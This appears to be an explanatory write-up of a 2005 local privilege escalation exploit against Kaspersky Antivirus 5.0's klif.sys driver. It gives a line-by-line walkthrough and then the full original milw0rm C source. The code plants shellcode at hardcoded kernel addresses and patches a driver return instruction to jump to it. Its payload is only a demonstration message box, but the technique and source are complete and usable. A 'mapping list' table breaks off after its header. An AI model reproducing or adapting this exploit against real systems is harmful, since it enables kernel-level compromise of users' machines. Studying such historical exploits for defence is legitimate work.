Exploiting Kaspersky Antivirus 'klif.sys' for Local Privilege Escalation

Exploiting Kaspersky Antivirus 'klif.sys' for Local Privilege Escalation
What this paper is
This paper details a local privilege escalation vulnerability in Kaspersky Antivirus (KAV) version 5.0. Specifically, it targets the klif.sys driver. The exploit leverages a flaw to overwrite a return address in kernel memory, allowing the attacker to execute arbitrary code within the kernel's context, thereby gaining elevated privileges.
Simple technical breakdown
The core idea is to trick the KAV driver into executing code that we control. This is achieved by:
- Finding a vulnerable spot: The exploit identifies a specific location in the KAV driver's memory (
klif.sys) where a function is about to return. - Overwriting the return address: The exploit prepares a small piece of code (shellcode) and places it in memory. It then manipulates the KAV driver so that when the vulnerable function returns, instead of returning to its legitimate next instruction, it jumps to our shellcode.
- Executing our code: Our shellcode runs with the privileges of the KAV driver, which are typically higher than a regular user. This allows us to perform actions like launching a privileged process or modifying system settings.
The exploit uses specific memory addresses that are hardcoded, implying it's tailored for a particular version and loaded state of KAV.
Complete code and payload walkthrough
Let's break down the provided C code and its embedded shellcode.
Global Variables and Definitions:
#define NO_STRICT 1: This is a preprocessor directive.STRICTis a Windows macro that enforces stricter type checking.NO_STRICTlikely disables this, potentially to avoid compiler warnings or to allow for more flexible type casting, which is common in low-level exploit code.#include <windows.h>: Includes the Windows API header file, providing access to functions likeGetModuleHandle,GetProcAddress,MessageBoxA,CreateProcess, etc.PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;: A pointer to a specific memory address in the KAV driver's address space. This is where the exploit's custom code will be placed.PDWORD pJmpAddress=(PDWORD)0xBE9372B0;: A pointer to another specific memory address. This location is intended to be overwritten with the address of our custom code, effectively redirecting execution.PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};: An array of pointers to potential return addresses within the KAV driver. The exploit will search these locations for a specific pattern to identify the vulnerable return point.PUCHAR pKAVRet;: A pointer that will store the actual identified vulnerable return address.
Shellcode (code array):
This is the core payload that will be executed in kernel mode. It's a sequence of x86 assembly instructions.
unsigned char code[]={
0x68,0x00,0x02,0x00,0x00, // push 0x200 (Size of buffer for GetModuleFileNameA)
0x68,0x00,0x80,0x93,0xBE, // push <buffer address> - 0xBE938000 (Address to store filename)
0x6A,0x00, // push 0 (NULL for current process)
0xB8,0x00,0x00,0x00,0x00, // mov eax,<GetModuleFileNameA> -> +13 (Address of GetModuleFileNameA)
0xFF,0xD0, // call eax (Call GetModuleFileNameA)
0x68,0x00,0x80,0x93,0xBE, // push <buffer address> (Same buffer as before)
0x68,0x00,0x82,0x93,0xBE, // push <address of the notepad path>- 0xBE938200 (Address to store "notepad.exe" path)
0xB8,0x00,0x00,0x00,0x00, // mov eax,<lstrcmpiA> -> +30 (Address of lstrcmpiA)
0xFF,0xD0, // call eax (Call lstrcmpiA)
0x85,0xC0, // test eax,eax (Check if strings are equal)
0x74,0x03, // je +03 (Jump if equal)
0xC2,0x04,0x00, // retn 4 (Return, cleaning 4 bytes from stack - if not notepad)
0x6A,0x00, // push 0 (NULL for MessageBox title)
0x68,0x00,0x84,0x93,0xBE, // push <address of the message string>- 0xBE938400 (Address of "Notepad is running!!! KAV is vulnerable!!!")
0x68,0x00,0x84,0x93,0xBE, // push <address of the message string>- 0xBE938400 (Same message address for caption)
0x6A,0x00, // push 0 (NULL for MessageBox parent window)
0xB8,0x00,0x00,0x00,0x00, // mov eax,<MessageBoxA> -> +58 (Address of MessageBoxA)
0xFF,0xD0, // call eax (Call MessageBoxA)
0xC2,0x04,0x00 // retn 4 (Return, cleaning 4 bytes from stack)
};Explanation of code array segments:
0x68,0x00,0x02,0x00,0x00:push 0x200. This pushes the size of a buffer (512 bytes) onto the stack. This buffer will be used byGetModuleFileNameA.0x68,0x00,0x80,0x93,0xBE:push 0xBE938000. This pushes the address of a buffer (at0xBE938000) onto the stack. This buffer will store the full path to the current executable.0x6A,0x00:push 0. This pushesNULLonto the stack, representing thehModuleparameter forGetModuleFileNameA(meaning get the filename of the current process).0xB8,0x00,0x00,0x00,0x00:mov eax, <address>. This is a placeholder for the address of theGetModuleFileNameAfunction. The actual address will be patched in later.0xFF,0xD0:call eax. This calls the function whose address is currently ineax(which will beGetModuleFileNameA). It retrieves the full path of the current executable and stores it in the buffer at0xBE938000.0x68,0x00,0x80,0x93,0xBE:push 0xBE938000. Pushes the address of the buffer containing the current executable's path.0x68,0x00,0x82,0x93,0xBE:push 0xBE938200. Pushes the address of another buffer (at0xBE938200) onto the stack. This buffer is intended to hold the path to "notepad.exe".0xB8,0x00,0x00,0x00,0x00:mov eax, <address>. Placeholder for the address of thelstrcmpiAfunction.0xFF,0xD0:call eax. CallslstrcmpiAto compare the string at0xBE938000(current executable path) with the string at0xBE938200(expected "notepad.exe" path).0x85,0xC0:test eax,eax. Checks the result of the comparison. If the strings are identical,eaxwill be 0.0x74,0x03:je +03. Ifeaxis 0 (strings are equal, meaning the current executable is notepad.exe), it jumps 3 bytes forward.0xC2,0x04,0x00:retn 4. If the strings are not equal, this instruction is executed. It returns from the current function, cleaning up 4 bytes from the stack (the argument pushed forlstrcmpiA). This effectively exits the shellcode if the current process is not notepad.exe.0x6A,0x00:push 0. PushesNULLfor theuTypeparameter ofMessageBoxA(default message box).0x68,0x00,0x84,0x93,0xBE:push 0xBE938400. Pushes the address of a message string onto the stack.0x68,0x00,0x84,0x93,0xBE:push 0xBE938400. Pushes the same address again for the caption of theMessageBoxA.0x6A,0x00:push 0. PushesNULLfor thehWndparameter ofMessageBoxA(no owner window).0xB8,0x00,0x00,0x00,0x00:mov eax, <address>. Placeholder for the address of theMessageBoxAfunction.0xFF,0xD0:call eax. CallsMessageBoxAto display the message "Notepad is running!!! KAV is vulnerable!!!".0xC2,0x04,0x00:retn 4. Returns from the current function, cleaning up 4 bytes from the stack.
Jump Code (jmp_code array):
unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; // jmp dword ptr [0xBE9372B0]0xFF,0x25:jmp dword ptr [address]. This is an indirect jump instruction. It means "jump to the address stored at the following memory location".0xB0,0x72,0x93,0xBE:0xBE9372B0. This is the memory address where the target address for the jump is stored. The exploit will place the address of ourcodeshellcode here.
LoadExploitIntoKernelMemory Function:
This function prepares the exploit to be executed in kernel mode.
HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");: Gets a handle to theKERNEL32.DLLmodule.HANDLE hUser=GetModuleHandle("USER32.DLL");: Gets a handle to theUSER32.DLLmodule.FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");: Gets the memory address of theGetModuleFileNameAfunction fromKERNEL32.DLL.FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");: Gets the memory address of thelstrcmpiAfunction fromKERNEL32.DLL.FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");: Gets the memory address of theMessageBoxAfunction fromUSER32.DLL.*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;: Patches thecodearray. The byte at offset13(which is the start of themov eax, <address>instruction) is replaced with the actual address ofGetModuleFileNameA.*(DWORD*)(code+30)=(DWORD)plstrcmpiA;: Patches thecodearray at offset30with the address oflstrcmpiA.*(DWORD*)(code+58)=(DWORD)pMessageBoxA;: Patches thecodearray at offset58with the address ofMessageBoxA.PCHAR pNotepadName=(PCHAR)0xBE938200;: Defines a pointer to the buffer intended for the "notepad.exe" path.char temp_buffer[MAX_PATH]; char *s;: Declares a temporary buffer and a pointer forSearchPath.SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);: This Windows API function searches for the full path of "notepad.exe" in the system's PATH environment variable and stores it intemp_buffer.lstrcpy(pNotepadName,temp_buffer);: Copies the found path of "notepad.exe" into the kernel memory buffer at0xBE938200.PCHAR pMessage=(PCHAR)0xBE938400;: Defines a pointer to the buffer for the message string.lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");: Copies the exploit message into the kernel memory buffer at0xBE938400.memmove(pCodeBase,code,sizeof(code));: Copies the patched shellcode (codearray) into the kernel memory at the address specified bypCodeBase(0xBE9372C0).*pJmpAddress=(DWORD)pCodeBase;: Overwrites the memory location pointed to bypJmpAddress(0xBE9372B0) with the address of our shellcode (pCodeBase). This is the critical step that redirects execution.memmove(pKAVRet,jmp_code,sizeof(jmp_code));: Copies thejmp_code(which contains the indirect jump instruction) into the kernel memory at the identified vulnerable return address (pKAVRet). This instruction will then jump to our shellcode.return TRUE;: Indicates success.
UnloadExploitFromKernelMemory Function:
UCHAR retn_4[]={0xC2,0x04,0x00};: Defines a standardretn 4instruction.memmove(pKAVRet,retn_4,sizeof(retn_4));: This function is intended to restore the original return instruction atpKAVRettoretn 4, effectively cleaning up the exploit and preventing further execution of the shellcode.
GetKAVRetAddress Function:
This function searches for the specific vulnerable return point in the KAV driver.
UCHAR retn_4[]={0xC2,0x04,0x00};: Defines theretn 4instruction pattern to look for.__try { ... } __except(EXCEPTION_EXECUTE_HANDLER){ ... }: A structured exception handling block. This is used to safely probe memory addresses. If accessing an address causes an exception (e.g., invalid memory), the__exceptblock will catch it.for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++): Iterates through the predefined potential return addresses (pKAVRets).if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0): Compares the bytes at the current potential return address with theretn 4pattern. If they match, it means this is a likely candidate for the vulnerable return point.return pKAVRets[i];: Returns the found address.MessageBox(NULL,"KAV is not installed",NULL,0); return NULL;: If an exception occurs during memory access, it suggests KAV might not be installed or the addresses are invalid.MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0); return NULL;: If the loop finishes without finding theretn 4pattern, it indicates an incompatible KAV version.
main Function:
This is the entry point of the exploit program.
pKAVRet=GetKAVRetAddress();: Calls the function to find the vulnerable return address.if(NULL==pKAVRet) return;: Exits if no vulnerable address was found.if(!LoadExploitIntoKernelMemory()) return;: Calls the function to load the exploit into kernel memory. Exits if it fails.SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);: Finds the path to notepad.exe again (this might be redundant or for a specific reason not immediately obvious).PROCESS_INFORMATION pi; STARTUPINFO si={0}; si.cb=sizeof(si);: Initializes structures for process creation.CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE, 0,NULL,NULL,&si,&pi);: Creates a new process, specifically launchingnotepad.exe. This is done to trigger the vulnerable code path in KAV.WaitForSingleObject(pi.hProcess,INFINITE);: Waits for the notepad process to finish. This is likely to ensure KAV has had a chance to process the notepad launch, potentially triggering the vulnerability.MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);: Informs the user to manually start Notepad to test the exploit.MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);: Prompts the user to close the exploit window to stop the exploitation.UnloadExploitFromKernelMemory();: Calls the cleanup function.
Mapping list: code fragment/block -> practical purpose
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/* Added NO_STRICT to 1 on line 2 /str0ke ! milw0rm.com */
#define NO_STRICT 1
#include <windows.h>
#undef STRICT
PUCHAR pCodeBase=(PUCHAR)0xBE9372C0;
PDWORD pJmpAddress=(PDWORD)0xBE9372B0;
PUCHAR pKAVRets[]={(PUCHAR)0xBE935087,(PUCHAR)0xBE935046};
PUCHAR pKAVRet;
unsigned char code[]={0x68,0x00,0x02,0x00,0x00, //push 0x200
0x68,0x00,0x80,0x93,0xBE, //push <buffer address> - 0xBE938000
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<GetModuleFileNameA> -> +13
0xFF,0xD0, //call eax
0x68,0x00,0x80,0x93,0xBE, //push <buffer address>
0x68,0x00,0x82,0x93,0xBE, //push <address of the notepad path>- 0xBE938200
0xB8,0x00,0x00,0x00,0x00, //mov eax,<lstrcmpiA> -> +30
0xFF,0xD0, //call eax
0x85,0xC0, //test eax,eax
0x74,0x03, //je +03
0xC2,0x04,0x00, //retn 4
0x6A,0x00, //push 0
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x68,0x00,0x84,0x93,0xBE, //push <address of the message string>- 0xBE938400
0x6A,0x00, //push 0
0xB8,0x00,0x00,0x00,0x00, //mov eax,<MessageBoxA> -> +58
0xFF,0xD0, //call eax
0xC2,0x04,0x00 //retn 4
};
unsigned char jmp_code[]={0xFF,0x25,0xB0,0x72,0x93,0xBE}; //jmp dword prt [0xBE9372B0]
//////////////////////////////////////////////////////////////
BOOLEAN LoadExploitIntoKernelMemory(void){
//Get function's addresses
HANDLE hKernel=GetModuleHandle("KERNEL32.DLL");
HANDLE hUser=GetModuleHandle("USER32.DLL");
FARPROC pGetModuleFileNameA=GetProcAddress(hKernel,"GetModuleFileNameA");
FARPROC plstrcmpiA=GetProcAddress(hKernel,"lstrcmpiA");
FARPROC pMessageBoxA=GetProcAddress(hUser,"MessageBoxA");
*(DWORD*)(code+13)=(DWORD)pGetModuleFileNameA;
*(DWORD*)(code+30)=(DWORD)plstrcmpiA;
*(DWORD*)(code+58)=(DWORD)pMessageBoxA;
//Prepare our data into ring0-zone.
PCHAR pNotepadName=(PCHAR)0xBE938200;
char temp_buffer[MAX_PATH];
char *s;
SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
lstrcpy(pNotepadName,temp_buffer);
PCHAR pMessage=(PCHAR)0xBE938400;
lstrcpy(pMessage,"Notepad is running!!! KAV is vulnerable!!!");
memmove(pCodeBase,code,sizeof(code));
*pJmpAddress=(DWORD)pCodeBase;
memmove(pKAVRet,jmp_code,sizeof(jmp_code));
return TRUE;
}
///////////////////////////////////////////////////////////////
void UnloadExploitFromKernelMemory(){
UCHAR retn_4[]={0xC2,0x04,0x00};
memmove(pKAVRet,retn_4,sizeof(retn_4));
}
/////////////////////////////////////////////////////////////////
PUCHAR GetKAVRetAddress(void){
//Check the retn 4 in the KAV 0xBE9334E1 function end
//Also, we check the KAV klif.sys existance.
UCHAR retn_4[]={0xC2,0x04,0x00};
__try{
for(DWORD i=0;i<sizeof(pKAVRets)/sizeof(pKAVRets[0]);i++){
if(memcmp(pKAVRets[i],retn_4,sizeof(retn_4))==0)
return pKAVRets[i];
}
}__except(EXCEPTION_EXECUTE_HANDLER){MessageBox(NULL,"KAV is not installed",NULL,0);return NULL;}
MessageBox(NULL,"Wrong KAV version. You need 5.0.227, 5.0.228 or 5.0.335 versions of KAV",NULL,0);
return NULL;
}
/////////////////////////////////////////////////////////////////
void main(void){
pKAVRet=GetKAVRetAddress();
if(NULL==pKAVRet)
return;
if(!LoadExploitIntoKernelMemory())
return;
char temp_buffer[MAX_PATH];
char *s;
SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
PROCESS_INFORMATION pi;
STARTUPINFO si={0};
si.cb=sizeof(si);
CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
0,NULL,NULL,&si,&pi);
WaitForSingleObject(pi.hProcess,INFINITE);
MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);
MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);
UnloadExploitFromKernelMemory();
}
// milw0rm.com [2005-06-07]